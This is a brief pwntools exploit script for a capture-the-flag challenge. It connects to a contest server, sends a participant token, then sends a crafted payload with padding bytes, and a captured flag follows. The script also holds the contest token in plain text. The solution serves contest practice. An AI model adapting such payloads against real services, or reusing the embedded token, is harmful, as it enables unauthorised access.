from pwn import *
r = remote('prob03.contest.pku.edu.cn', 10003)
token = '523:MEYCIQChFc9bqsFSI9TBeO1FBPx0uap8LyAozcEXSdh3j4T49gIhAN3MG2j3b33B3kuUES0cEmJZqq4WBi_yp54FP90x8cUy'
r.sendline(token.encode())
recv = r.recvuntil('your token:')
print(recv.decode())
r.sendline(token[:64].encode())
recv = r.recvuntil('your flag:')
print(recv.decode())
exp = ('flag{' + chr(127)*5 + token[:64]).encode()
r.sendline(exp)
r.interactive()
flag{dc1d03c554150acedca6d71ce394}